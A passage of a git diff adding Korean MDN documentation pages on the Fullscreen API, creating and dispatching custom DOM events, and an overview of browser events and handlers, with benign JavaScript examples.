+ <dd>전체 문서에 대해 full-screen mode를 사용하거나, 사용하지 않도록 설정하는 동안 오류가 발생하면, {{DOMxRef("Document")}}로 보내지는 {{Event("fullscreenerror")}} 이벤트의 이벤트 핸들러입니다.</dd>
+</dl>
+
+<h4 id="Event_handlers_on_elements">Event handlers on elements</h4>
+
+<dl>
+ <dt>{{DOMxRef("Element.onfullscreenchange")}}</dt>
+ <dd>{{Event("fullscreenchange")}} 이벤트가 요소(element)로 전송되면, 요소가 full-screen mode로 배치되거나 제거되었음을 나타내는 이벤트 핸들러입니다.</dd>
+ <dt>{{DOMxRef("Element.onfullscreenerror")}}</dt>
+ <dd>full-screen mode 를 사용하거나, 사용하지 않도록 설정하는 동안 오류가 발생하면 요소로 보내지는 {{Event("fullscreenerror")}} 이벤트의 이벤트 핸들러입니다.</dd>
+</dl>
+
+<h3 id="Obsolete_properties">Obsolete properties</h3>
+
+<dl>
+ <dt>{{DOMxRef("Document.fullscreen")}} {{Deprecated_Inline}}</dt>
+ <dd>문서에 현재 full-screen mode로 표시되는 요소가 있는 경우 <code>true</code>, 그렇지 않으면 <code>false</code>의 Boolean 값입니다.
+ <div class="note"><strong>주의:</strong> 대신에 {{DOMxRef("Document")}} 나 {{DOMxRef("ShadowRoot")}} 에서 {{DOMxRef("Document.fullscreenElement", "fullscreenElement")}} 속성(property)을 사용하세요. 그것이 <code>null</code>이 아닌 경우 {{DOMxRef("Element")}}가 full-screen mode로 표시됩니다.</div>
+ </dd>
+</dl>
+
+<h2 id="Things_your_users_want_to_know" name="Things_your_users_want_to_know">Events</h2>
+
+<p><em>Fullscreen API는 full-screen mode를 켜고 끌 때 혹은, full-screen mode와 window mode간에 변경하는 과정에서 오류가 발생하는 것을 감지하는데 사용할 수 있는 두 가지 이벤트를 정의합니다.</em></p>
+
+<dl>
+ <dt>{{Event("fullscreenchange")}}</dt>
+ <dd>full-screen mode를 사용하거나, 사용하지 않도록 전환할 때 {{DOMxRef("Document")}} 혹은{{DOMxRef("Element")}} 로 보냅니다.</dd>
+ <dt>{{Event("fullscreenerror")}}</dt>
+ <dd>full-screen mode를 사용하거나, 사용하지 않도록 전환하려고 시도하는 중에 오류가 발생하면 <code>Document</code> 또는 <code>Element</code> 로 보냅니다.</dd>
+</dl>
+
+<h2 id="Dictionaries">Dictionaries</h2>
+
+<dl>
+ <dt>{{DOMxRef("FullscreenOptions")}}</dt>
+ <dd>{{DOMxRef("Element.requestFullscreen", "requestFullscreen()")}}을 호출할 때 지정할 수 있는 옵션 설정을 제공합니다.</dd>
+</dl>
+
+<h2 id="Controlling_access">Controlling access</h2>
+
+<p><a href="/ko/docs/Web/HTTP/Feature_Policy">Feature Policy</a>을 사용하여 full-screen mode의 유효성을 제어할 수 있습니다. full-screen mode는 <code>"fullscreen"</code>으로 식별되고, 기본 허용 목록 값은 <code>"self"</code> 입니다. 이는 최상위(top-level) 문서 컨텍스트에서 full-screen mode가 허용된다는 것을 의미하며, 최상위(top-most) 문서와 같은 출처에서 로드 된 중첩 된 컨텍스트에도 적용됩니다.</p>
+
+<p>기능 정책을 사용하여 API에 대한 액세스를 제어하는 자세한 내용은 <a href="/ko/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a>을 참조하세요.</p>
+
+<h2 id="Things_your_users_want_to_know" name="Things_your_users_want_to_know">Usage notes</h2>
+
+<p>사용자는 <kbd>ESC</kbd> (혹은 <kbd>F11</kbd>) 키를 누르기만하면 사이트 또는 앱이 프로그래밍 방식으로 기다리는 대신에, full-screen mode를 종료하도록 선택할 수 있습니다. 유저 인터페이스의 어딘가에 사용자에게 이 옵션을 사용할 수 있음을 알리는, 적절한 유저 인터페이스 요소를 제공해야 합니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> 다른 페이지로 이동하거나, 탭을 변경하거나, 응용 프로그램 전환기(또는 <kbd>Alt</kbd>-<kbd>Tab</kbd>)를 사용하여, 다른 응용 프로그램으로 전환하면 마찬가지로 full-screen mode가 종료됩니다.</p>
+</div>
+
+<h2 id="Example">Example</h2>
+
+<p>이 예제에서는 비디오가 웹 페이지에 표시됩니다. <kbd>Return</kbd> 또는 <kbd>Enter</kbd> 키를 누르면, 사용자가 비디오의 창과 full-screen 표시를 전환할 수 있습니다.</p>
+
+<p><a href="/samples/domref/fullscreen.html">View Live Examples</a></p>
+
+<h3 id="Watching_for_the_Enter_key">Watching for the Enter key</h3>
+
+<p>페이지가 로드되면, 이 코드가 실행되어 <kbd>Enter</kbd> 키 를 주시하는 이벤트 리스너를 설정합니다.</p>
+
+<pre class="brush: js">document.addEventListener("keypress", function(e) {
+  if (e.keyCode === 13) {
+    toggleFullScreen();
+  }
+}, false);
+</pre>
+
+<h3 id="Toggling_full-screen_mode">Toggling full-screen mode</h3>
+
+<p>이 코드는 사용자가 <kbd>Enter</kbd> 키를 누를 때, 위의 이벤트 핸들러에 의해 호출됩니다.</p>
+
+<pre class="brush: js">function toggleFullScreen() {
+  if (!document.fullscreenElement) {
+    document.documentElement.requestFullscreen();
+  } else {
+    if (document.exitFullscreen) {
+      document.exitFullscreen();
+    }
+  }
+}</pre>
+
+<p>먼저 {{DOMxRef("Document", "document")}}의 <code>fullscreenElement</code> 속성(attribute)값을 살펴보겠습니다. 실제 배포 시에는 이 시점에 접두어가 붙은 버전(예를들어, <code>mozFullscreenElement</code>, <code>msFullscreenElement</code>, <code>webkitFullscreenElement</code>)을 확인해야 합니다. 값이 <code>null</code>인 경우, 문서는 현재 window mode에 있으므로, full-screen mode로 전환해야 합니다. 그렇지 않으면, 이 요소는 지금 full-screen mode 상태입니다. full-screen mode로 전환하는 작업은, {{HTMLElement("video")}}요소에서 {{DOMxRef("Element.requestFullscreen()")}}을 호출하여 수행합니다.</p>
+
+<p>full-screen mode가 이미 활성화 된 경우(<code>fullscreenElement</code> 가 <code>null</code>이 아닌 경우), <code>document</code>에서 {{DOMxRef("Document.exitFullscreen", "exitFullscreen()")}}을 호출하여 full-screen mode를 종료합니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Fullscreen")}}</td>
+   <td>{{Spec2("Fullscreen")}}</td>
+   <td>Initial version.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<h3 id="Document.fullscreen"><code>Document.fullscreen</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.Document.fullscreen")}}</p>
+
+<h3 id="Document.fullscreenEnabled"><code>Document.fullscreenEnabled</code></h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.Document.fullscreenEnabled")}}</p>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fullscreen_API">Using full-screen mode</a></li>
+ <li>{{DOMxRef("Element.requestFullscreen()")}}</li>
+ <li>{{DOMxRef("Document.exitFullscreen()")}}</li>
+ <li>{{DOMxRef("Document.fullscreen")}}</li>
+ <li>{{DOMxRef("Document.fullscreenElement")}}</li>
+ <li>{{CSSxRef(":fullscreen")}}, {{CSSxRef("::backdrop")}}</li>
+ <li>{{HTMLAttrXRef("allowfullscreen", "iframe")}}</li>
+</ul>
diff --git a/files/ko/web/guide/events/creating_and_triggering_events/index.html b/files/ko/web/guide/events/creating_and_triggering_events/index.html
new file mode 100644
index 0000000000..2c19b74b88
--- /dev/null
+++ b/files/ko/web/guide/events/creating_and_triggering_events/index.html
@@ -0,0 +1,140 @@
+---
+title: 이벤트 생성 및 트리거
+slug: Web/Guide/Events/Creating_and_triggering_events
+tags:
+  - DOM
+  - NeedsContent
+  - 가이드
+  - 고급
+  - 이벤트
+  - 자바스크립트
+translation_of: Web/Guide/Events/Creating_and_triggering_events
+---
+<p>이 글은 DOM 이벤트를 생성하고 디스패치하는 방법에 대해 설명합니다. 이런 이벤트는 흔히 <strong>인공 이벤트(synthetic events)</strong>라고 불리며, 브라우저 자체에서 실행되는 이벤트와 반대입니다.</p>
+
+<h2 id="커스텀_이벤트_생성하기">커스텀 이벤트 생성하기</h2>
+
+<p>다음과 같이 <a href="/en-US/docs/Web/API/Event"><code>Event</code></a> 생성자를 사용해 Events 를 생성할 수 있습니다.</p>
+
+<pre class="brush: js">var event = new Event('build');
+
+// 이벤트 리슨.
+elem.addEventListener('build', function (e) { /* ... */ }, false);
+
+// 이벤트 디스패치.
+elem.dispatchEvent(event);</pre>
+
+<p>위 코드 예제는 <a href="/ko/docs/Web/API/EventTarget/dispatchEvent">EventTarget.dispatchEvent()</a> 메소드를 사용합니다.</p>
+
+<p>이 생성자는 대부분의 최신 브라우저(Internet Exploere 는 예외)에서 지원됩니다. 더 장황한 접근법(Internet Explorer 에서도 동작하는)은, 아래 <a href="#The_old-fashioned_way" title="#The_old-fashioned_way">옛날 방식</a> 부분을 참고하세요.</p>
+
+<h3 id="커스텀_데이터_추가_–_CustomEvent()">커스텀 데이터 추가 – CustomEvent()</h3>
+
+<p>이벤트 객체에 더 많은 데이터를 추가하려면, <a href="/en-US/docs/Web/API/CustomEvent">CustomEvent</a> 인터페이스가 존재하고 <u><strong>detail</strong></u> 프로퍼티를 통해 커스텀 데이터를 전달할 수 있습니다<br>
+ <span style="line-height: 1.5;">예를 들면, 다음과 같이 이벤트가 생성될 수 있습니다.</span></p>
+
+<pre class="brush: js">var event = new CustomEvent('build', { detail: elem.dataset.time });</pre>
+
+<p>그럼 이벤트 리스너의 부가적인 데이터에 접근할 수 있게 됩니다.</p>
+
+<pre class="brush: js">function eventHandler(e) {
+  console.log('The time is: ' + e.detail);
+}
+</pre>
+
+<h3 id="옛날_방식">옛날 방식</h3>
+
+<p>생성 이벤트로의 오래된 접근법은 Java 로부터 영감을 받은 API들을 사용합니다. 다음은 그 예시를 보여줍니다.</p>
+
+<pre class="brush: js">// 이벤트 생성.
+var event = <a href="/en-US/docs/Web/API/Document/createEvent">document.createEvent</a>('Event');
+
+// 이벤트 이름을 'build' 라 정의.
+event.initEvent('build', true, true);
+
+// 이벤트 리슨.
+elem.addEventListener('build', function (e) {
+  // e.target 은 elem 과 일치
+}, false);
+
+// target 은 어떤 엘리먼트나 다른 이벤트 타켓이 될 수 있음.
+elem.dispatchEvent(event);
+
+</pre>
+
+<h3 id="이벤트_버블링">이벤트 버블링</h3>
+
+<p>자식 엘리먼트로부터 이벤트를 발생시키고 그 조상이 이를 캐치하도록 하는것은 종종 바람직합니다. 선택적으로 데이터도 함께합니다.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;textarea&gt;&lt;/textarea&gt;
+&lt;/form&gt;
+</pre>
+
+<pre class="brush: js">const form = document.querySelector('form');
+const textarea = document.querySelector('textarea');
+
+// 새로운 이벤트를 생성하고, 버블링을 허용하며, "details" 프로퍼티로 전달할 데이터를 제공합니다
+const eventAwesome = new CustomEvent('awesome', {
+  bubbles: true,
+  detail: { text: () =&gt; textarea.value }
+});
+
+// form 엘리먼트는 커스텀 "awesome" 이벤트를 리슨한 후 전달된 text() 메소드의 결과를 콘솔에 출력합니다
+form.addEventListener('awesome', e =&gt; console.log(e.detail.text()));
+
+// 사용자가 입력한대로, form 내의 textarea 는 이벤트를 디스패치/트리거하여 시작점으로 사용합니다
+textarea.addEventListener('input', e =&gt; e.target.dispatchEvent(eventAwesome));
+</pre>
+
+<h3 id="이벤트를_동적으로_생성하고_디스패칭하기">이벤트를 동적으로 생성하고 디스패칭하기</h3>
+
+<p>엘리먼트는 아직 생성되지 않은 이벤트를 리슨할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;textarea&gt;&lt;/textarea&gt;
+&lt;/form&gt;
+</pre>
+
+<pre class="brush: js">const form = document.querySelector('form');
+const textarea = document.querySelector('textarea');
+
+form.addEventListener('awesome', e =&gt; console.log(e.detail.text()));
+
+textarea.addEventListener('input', function() {
+  // 이벤트 즉시 생성 및 디스패치/트리거
+  // 노트: 선택적으로, 우리는 "함수 표현"("화살표 함수 표현" 대신)을 사용하므로 "this"는 엘리먼트를 나타냅니다
+  this.dispatchEvent(new CustomEvent('awesome', { bubbles: true, detail: { text: () =&gt; textarea.value } }))
+});
+</pre>
+
+<h2 id="내장_이벤트_트리거">내장 이벤트 트리거</h2>
+
+<p>이 예제는 DOM 메소드를 사용해 체크박스에 클릭을 시뮬레이팅하는 것을 보여줍니다(클릭 이벤트를 프로그래밍적으로 발생시키는 것입니다). <a class="external" href="http://developer.mozilla.org/samples/domref/dispatchEvent.html">동작하는 예제를 확인하세요.</a></p>
+
+<pre class="brush: js">function simulateClick() {
+  var event = new MouseEvent('click', {
+    view: window,
+    bubbles: true,
+    cancelable: true
+  });
+  var cb = document.getElementById('checkbox');
+  var cancelled = !cb.dispatchEvent(event);
+  if (cancelled) {
+    // 핸들러가 preventDefault 를 호출했음.
+    alert("cancelled");
+  } else {
+    // 어떤 핸들러도 preventDefault 를 호출하지 않음.
+    alert("not cancelled");
+  }
+}</pre>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/CustomEvent/CustomEvent">CustomEvent()</a></li>
+ <li>{{domxref("document.createEvent()")}}</li>
+ <li>{{domxref("Event.initEvent()")}}</li>
+ <li>{{domxref("EventTarget.dispatchEvent()")}}</li>
+ <li>{{domxref("EventTarget.addEventListener()")}}</li>
+</ul>
diff --git a/files/ko/web/guide/events/index.html b/files/ko/web/guide/events/index.html
new file mode 100644
index 0000000000..e952840d8e
--- /dev/null
+++ b/files/ko/web/guide/events/index.html
@@ -0,0 +1,51 @@
+---
+title: Event developer guide
+slug: Web/Guide/Events
+tags:
+  - DOM
+  - Event
+  - Guide
+  - NeedsUpdate
+  - events
+translation_of: Web/Guide/Events
+---
+<p>{{draft()}}</p>
+
+<p>Events refers both to a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page and to the naming, characterization, and use of a large number of incidents of different types.</p>
+
+<p>The <a href="/en-US/docs/Web/Guide/API/DOM/Events/Overview_of_Events_and_Handlers">overview page</a> provides an introduction to the design pattern and a summary of the types of incidents which are defined and reacted to by modern web browsers.</p>
+
+<p>The <a href="/en-US/docs/Web/Guide/API/DOM/Events/Creating_and_triggering_events">custom events page</a> describes how the event code design pattern can be used in custom code to define new event types emitted by user objects, register listener functions to handle those events, and trigger the events in user code.</p>
+
+<p>The remaining pages describe how to use events of different kinds defined by web browsers. Unfortunately, these events have been defined piece by piece as web browsers have evolved so that there is no satisfying systematic characterization of the events built-in or defined by modern web browsers.</p>
+
+<p>The <strong>device</strong> on which the web browser is running can trigger events, for example due to a change in its position and orientation in the real world, as discussed partially by the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Orientation_and_motion_data_explained">page on orientation coordinate systems</a> and the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Using_device_orientation_with_3D_transforms">page on the use of 3D transforms</a>. That is different, but similar, to the change in device vertical orientation. </p>
+
+<p>The <strong>window</strong> in which the browser is displayed which might trigger events, for example, change size if the user maximizes the window or otherwise changes it.</p>
+
+<p>The <strong>process</strong> loading of a web page might trigger events in response to the completion of different steps in the downloading, parsing, and rendering of the web page for display to the user.</p>
+
+<p>The <strong>user interaction</strong> with the web page contents might trigger events. The events triggered by user interaction evolved during the early years of browser design and include a complicated system defining the sequence in which events will be called and the manner in which that sequence can be controlled. The different types of user interaction driven events include:</p>
+
+<ul>
+ <li>the original 'click' event,</li>
+ <li>mouse events,</li>
+ <li><a href="/en-US/docs/Web/Guide/API/DOM/Events/Mouse_gesture_events">mouse gesture events</a>, and</li>
+ <li>both <a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events">touch events</a> and the earlier, but deprecated, <a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events_(Mozilla_experimental)">mozilla experimental touch events</a>.</li>
+</ul>
+
+<p>The <strong>modification of the web page</strong> in structure or content might trigger some events, as is explained in the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Mutation_events">mutation events page</a>, but the use of these events has been deprecated in favour of the lighter <a href="/en-US/docs/Web/API/MutationObserver">Mutation Observer</a> approach.</p>
+
+<p>The <strong>media streams</strong> embedded in the HTML documents might trigger some events, as explained in the <a href="/en-US/docs/Web/Guide/API/DOM/Events/Media_events">media events</a> page.</p>
+
+<p>The <strong>network requests</strong> made by a web page might trigger some events.</p>
+
+<p>There are many other sources of events defined by web browsers for which pages are not yet available in this guide.</p>
+
+<div class="note">
+<p>Note: This Event Developer Guide needs substantial work. The structure needs to be reorganized and the pages rewritten. Our hope is that everything you need to know about events will go under here.</p>
+</div>
+
+<h2 id="Docs">Docs</h2>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ko/web/guide/events/overview_of_events_and_handlers/index.html b/files/ko/web/guide/events/overview_of_events_and_handlers/index.html
new file mode 100644
index 0000000000..c3f1a9205a
--- /dev/null
+++ b/files/ko/web/guide/events/overview_of_events_and_handlers/index.html
@@ -0,0 +1,142 @@
+---
+title: Overview of Events and Handlers
+slug: Web/Guide/Events/Overview_of_Events_and_Handlers
+translation_of: Web/Guide/Events/Overview_of_Events_and_Handlers
+---
+<div class="summary">
+<p> 이 글은 이벤트 및 이벤트 핸들링(event handling)에 대한 개요로서, 웹 페이지가 열려있는 동안 일어나는 사건(incident)에 대해 반응할 수 있도록 하는 코드 설계 패턴에 대해 설명하고, 현 세대의 웹 브라우저에서 핸들링할 수 있는 사건의 종류에 대해 요약한다.</p>
+</div>
+
+<p> 이벤트와 이벤트 핸들링은 웹 페이지가 사용자에 의해 열린 상태를 유지하는 동안 일어나는 사건에 대한 반응을 구현하기 위한 자바스크립트의 핵심적인 기술이다. 이러한 사건에는 페이지가 전시(display)되기 위한 준비과정 중 일어나는 사건, 웹 페이지상의 컨텐츠와 사용자의 상호작용에 의한 사건, 브라우저가 실행되는 기반 장치와 관련된 사건, 매체 스트림(media stream) 재생이나 애니메이션 시간 간격 등 기타 요인에 의한 사건 등이 있다.</p>
+
+<p> 이벤트와 이벤트 핸들링은 자바스크립트가 처음 도입된 시점부터 중심적인 역할을 했으며, 이와 함께 브라우저의 렌더링 아키텍처 역시 단일 처리경로(single pass) 페이지 렌더링으로부터 리플로우(reflow) 기반, 이벤트 구동식(driven) 페이지 렌더링 개념으로 바뀌었다.</p>
+
+<p> 최초에는 브라우저는 페이지의 모든 부분에 대한 문법분석(parse), 처리(process), 그리기(draw) 및 사용자에게 표현(present)까지의 모든 과정이 끝날 때까지 대기하고, 페이지 작업이 끝나면 그 상태로 바뀌지 않고 새 페이지 요청이 있어서 가져오기(fetch)작업이 일어나기 전까지는 그대로의 모습을 유지했다. </p>
+
+<p> 리플로우 기반 이벤트 구동식 페이지 렌더링 개념으로 바뀐 뒤에는 브라우저는 처리, 그리기, 컨텐츠 표현(present), 반복순환작업을 다시 개시하도록 하는 이벤트 트리거에 대한 대기 등의 작업을 반복순환(loop)하여 수행한다. 이 이벤트 트리거라는 것은 이벤트를 발생하게 하는 사건을 이르는 것으로서, 네트워크상의 자원 로드 완료( 예 : 이미지가 다운로드되어 화면상에 그릴 수 있게 됨), 브라우저에 의한 자원의 문법분석 완료( 예 : HTML페이지 처리가 끝남) 페이지의 컨텐츠와 사용자와의 상호작용(예 : 버튼을 클릭한다) 등이 이러한 사건이 될 수 있다.</p>
+
+<p> 더글라스 크록포드는 <em>An inconvenient API : The theory of the DOM(불편한 API : DOM의 이론)</em>이라는 제목의 강연에서 이러한 변화를 여러 단원에 걸쳐 설명하였는데, 본래의 작업 흐름에서 이벤트 구동식 브라우저의 작업 흐름으로 바뀌는 것을 다음과 같이 보여주었다.</p>
+
+<div style="margin: 0 auto; width: 68%;"><img alt="A comparison of the sequential and event-driven browser load sequences." src="https://mdn.mozillademos.org/files/6641/Browser_sequence_comparitive.svg" style="height: 454px; width: 1857px;"></div>
+
+<p> 두 번째 그림에 보이는 처리방식은 마지막 단계의 작업흐름을 변화시킴으로써 첫 번째 그림의 단일 경로 처리흐름에서 반복순환 흐름으로 바뀐 것을 보여준다. 두 번째 그림은 Paint작업이 끝나면 새로운 이벤트 발생에 대한 처리(이벤트 핸들링)를 하기 위해 이벤트를 기다리게 된다. 이 혁신적인 개념을 이용하면 자원을 다 획득하지 않았더라도 페이지를 부분적으로 렌더링하는 것이 가능하며, 최초에는 자바스크립트에 의해 발전된 이벤트 구동에 의한 동작 효과적으로 구현할 수 있다. (이 강의는 <a href="http://www.youtube.com/watch?v=Y2Y0U-2qJMs">여기</a>를 포함한 다양한 경로로 볼 수 있다) 현재 모든 자바스크립트 코드 실행 환경에서는 이벤트와 이벤트 핸들링을 사용한다.</p>
+
+<h2 id="이벤트_설계_패턴">이벤트 설계 패턴</h2>
+
+<p>이벤트 시스템은 근본적으로는 단순한 프로그래밍 설계 패턴이다. 이 패턴는 기본적으로 이벤트의 종류와 다음 사항에 대해 합의된 약속을 기반으로 한다.</p>
+
+<ul>
+ <li>각 이벤트를 가리키는 이벤트명 문자열</li>
+ <li>각 이벤트의 핵심 프로퍼티를 나타내기 위한 자료구조의 형식</li>
+ <li>각 이벤트를 발동할 자바스크립트 객체</li>
+</ul>
+
+<p>패턴을 구현하기 위해서는 다음이 필요하다.</p>
+
+<ul>
+ <li>위에서 약속된 자료구조를 인수로 받는 자바스크립트 함수를 정의한다.</li>
+ <li>이벤트를 발동할 객체에 약속된 해당 이벤트의 이벤트명을 사용하여 위의 함수를 등록한다.</li>
+</ul>
+
+<p>이 함수는 리스너(listener) 또는 핸들러(handler)라는 혼용된 명칭으로 불린다. 이 패턴은 <a href="/ko/docs/Web/Guide/API/DOM/Events/Creating_and_triggering_events">커스텀 이벤트에 관한 글</a>에서 설명한 대로의 완전한 커스텀 이벤트를 사용하여 쉽게 구현할 수 있다. 이 패턴은 사용자 입력, 브라우저 활동 등에 의해 발동되는 다양한 이벤트를 정의하는 최신 웹 브라우저에서도 많이 사용한다.</p>
+
+<p> 최신 웹 브라우저는 이 이벤트 패턴을 표준화된 방식으로 구현한다. 브라우저는 어떤 이벤트의 프로퍼티를 나타내는 자료 구조로서  <code>EventPrototype</code> 객체를 원천으로 하는 어떤 객체를 사용한다. 또한 이러한 자료구조를 핸들링할 함수에 대한 등록 메소드로서 <code>addEventListener </code>메소드를 사용하는데 이것은 인수로서 이벤트명과 핸들러 함수를 받는다<code>.</code> 마지막으로 브라우저는 이벤트 발동자(emitter)로 수많은 객체를 정의하며 또한 이 객체들에 의해 생성되는 여러 이벤트형(event type)을 정의한다.</p>
+
+<h2 id="Button_Event_Handler" name="Button_Event_Handler">버튼 이벤트 핸들러 데모</h2>
+
+<p>하나의 예시로서 브라우저 <code>button 요소(element)는 'click'이라는 이름의 이벤트를 마우스 클릭 또는 터치스크린의 경우 손가락 터치에 반응하여 발동시킨다.</code> 버튼은 HTML 페이지에서 다음과 같이 정의할 수 있다.</p>
+
+<pre class="brush: html">&lt;button id="buttonOne"&gt;Click here to emit a 'click' event&lt;/button&gt;</pre>
+
+<p>그리고 자바스크립트 코드에서 'click' 이벤트에 대한 리스너로서의 함수, 즉 핸들러로 사용할 함수를 정의한다.</p>
+
+<pre class="brush: js">var example_click_handler = function (ev){
+    var objKind = (ev instanceof Event) ? "EventPrototype" : "ObjectPrototype";
+    alert("We got a click event at " + ev.timeStamp + " with an argument object derived from: " + objKind );
+};</pre>
+
+<p>그 다음 해당 <code>Button</code> 객체와 함께 위의 함수를 등록하는데, 첫 번째 방법은 HTML 페이지의 DOM(문서 객체 모델) 표현법을 이용하여 다음과 같이 스크립트상에서 나타내는 방법이다. </p>
+
+<pre class="brush: js">var buttonDOMElement = document.querySelector('#buttonOne');
+buttonDOMElement.addEventListener('click', example_click_handler);</pre>
+
+<p>또 다른 방법은 HTML 페이지 상에서 'onclick' 애트리뷰트의 값으로 핸들러로 쓸 함수를 대입시키는 것인데, 보통 이 방식은 매우 단순한 웹 페이지에서나 쓰인다.</p>
+
+<p>{{ EmbedLiveSample('Button_Event_Handler') }}</p>
+
+<p>This code relies on the agreement that there is a kind of event called <code>'click'</code> which will call any listener (or 'handler') function with an <code>Event</code> object argument (actually, in this case a derivative <code>MouseEvent</code> object) and which will be fired by HTML <code>button</code> elements after user interaction. The code has no visible effect until a user interacts with the button either by placing the mouse pointer over the HTML button and clicking on the left mouse button or by placing a finger or stylus of some kind on the screen above the HTML button; when that happens, the <code>buttonDOMElement</code> Javascript object would call the <code>example_click_handler</code> function with an <code>Event</code> object as an argument. The function, in turn, would perform whatever action was chosen by the programmer, in this case to open an HTML alert dialog. Note that the handler has access to the <code>ev</code> object since it is passed as an argument; the object has information about the event, notably the time at which the event occurred.</p>
+
+<p>As a second example, much modern Javascript integrated into web pages is wrapped into an event function call to ensure that the code is only executed when the HTML has been processed and is available for alteration or decoration. For example, code might be attached as:</p>
+
+<pre class="brush: js">var funcInit = function(){
+    // user code goes here and can safetly address all the HTML elements from the page
+    // since the document has successfully been 'loaded'
+}
+document.addEventListener('DOMContentLoaded', funcInit);
+</pre>
+
+<p>so that this code will only be executed after the <code>document</code> object emits the <code>'DOMContentLoaded'</code> event because the HTML has been parsed and Javasript objects created representing each of the nodes of the HTML document. Note that in this example, the code does not even name the event argument to the function because the code never needs to use the data structure describing the event; rather, the code merely needs to wait to run until after then event has happened.</p>
+
+<p>The pattern is therefore easy to learn and implement. The difficulty with events comes from learning the wide variety of events which are generated in modern web browsers. There is also some subtlety in learning how to write the handler functions since such code works asynchronously and potentially will run repeatedly but in slightly different situations.</p>
+
+<h2 id="Notable_events">Notable events</h2>
+
+<p>Web browsers define a large number of events so it is not practical to list them all. The <a href="/en-US/docs/Web/Reference/Events">Event Reference</a> attempts to maintain a list of the standard Events used in modern web browsers.</p>
+
+<p>In general, we can distinguish events of different kinds based on the object emitting the event including:</p>
+
+<ul>
+ <li>the <code>window</code> object, such as due to resizing the browser,</li>
+ <li>the <code>window.screen</code> object, such as due to changes in device orientation,</li>
+ <li>the <code>document</code> object, including the loading, modification, user interaction, and unloading of the page,</li>
+ <li>the objects in the DOM (document object model) tree including user interactions or modifications,</li>
+ <li>the <code>XMLHttpRequest</code> objects used for network requests, and</li>
+ <li>the media objects such as <code>audio</code> and <code>video</code>, when the media stream players change state.</li>
+</ul>
+
+<p>although this list is currently incomplete.</p>
+
+<p>Some notable events are:</p>
+
+<div class="note">
+<p><strong>Note:</strong> This list of will need work to make relevant; that work is awaiting some global reorganization work on the documents. This will also need finding a good explanation of the events involved during page loading, such as discussed partially in <em><a href="http://ablogaboutcode.com/2011/06/14/how-javascript-loading-works-domcontentloaded-and-onload/">this web page</a> or in <a href="http://stackoverflow.com/questions/1795438/load-and-execution-sequence-of-a-web-page">this Stack Overflow question</a>. </em></p>
+</div>
+
+<ul>
+ <li>the global object <a href="/en-US/docs/Web/API/Window"><code>window</code></a> emits an event called <a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)"><code>'load'</code></a> when the page has finished rendering, meaning that all resources have been downloaded and acted upon, so that the scripts have been run and the images displayed,</li>
+ <li>the global object <a href="/en-US/docs/Web/API/Window"><code>window</code></a> emits an event called <a href="/en-US/docs/Web/Reference/Events/resize"><code>'resize'</code></a> when the height or the width of the browser window is changed by a user,</li>
+ <li>the DOM object <a href="/en-US/docs/Web/API/Document"><code>document</code></a> representing the HTML document emits an event called<code> <a href="/en-US/docs/Web/Reference/Events/DOMContentLoaded">'DOMContentLoaded'</a></code> when the document has finished loading,</li>
+ <li>the DOM node objects such as <a href="/en-US/docs/Web/HTML/Element/div"><code>div</code></a> or <a href="/en-US/docs/Web/HTML/Element/button"><code>button</code></a> emit an event called <a href="/en-US/docs/Web/Reference/Events/click"><code>'click'</code></a> when the user presses the mouse button while the mouse pointer is on top of the DOM node in the HTML page.</li>
+</ul>
+
+<p> </p>
+
+<h2 id="The_Event_object_hierarchy">The Event object hierarchy</h2>
+
+<p>The web browser defines many events of different kinds. Each definition includes, as the data structure passed to the handler function, an object which inherits from the <code>EventPrototype</code> object.</p>
+
+<p>A partial diagram of the class hierarchy of event objects is:</p>
+
+<div class="note">
+<p><strong>Note:</strong> This diagram is incomplete.</p>
+</div>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6633/Js_Event_Object_Hierarchy.svg" style="height: 496px; width: 1417px;"></p>
+
+<p>The Web API Documentation contains <a href="/en-US/docs/Web/API/Event">a page defining the Event object</a> which also includes the known DOM event subclasses of the <code>Event</code> object.</p>
+
+<h2 id="Documents">Documents</h2>
+
+<p>Three sources on the MDN (Mozilla Developer Network) web site are particularly useful for programmers wanting to work with events:</p>
+
+<ul>
+ <li>this <a href="/en-US/docs/Web/Guide/API/DOM/Events">Event Guide</a> which is part of the <a href="/en-US/docs/Web/Guide">Web Developers' Guide</a>,</li>
+ <li>the <a href="/en-US/docs/Web/Reference/Events">Event Reference</a>,</li>
+ <li>the Web API documentation for the <a href="/en-US/docs/Web/API/Event"><code>Event</code></a> object.</li>
+</ul>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/ko/web/guide/html/content_categories/index.html b/files/ko/web/guide/html/content_categories/index.html
new file mode 100644
index 0000000000..cd6261c446
--- /dev/null
+++ b/files/ko/web/guide/html/content_categories/index.html
@@ -0,0 +1,180 @@
+---
+title: 콘텐츠 카테고리
+slug: Web/Guide/HTML/Content_categories
+tags:
+  - Advanced
+  - Guide
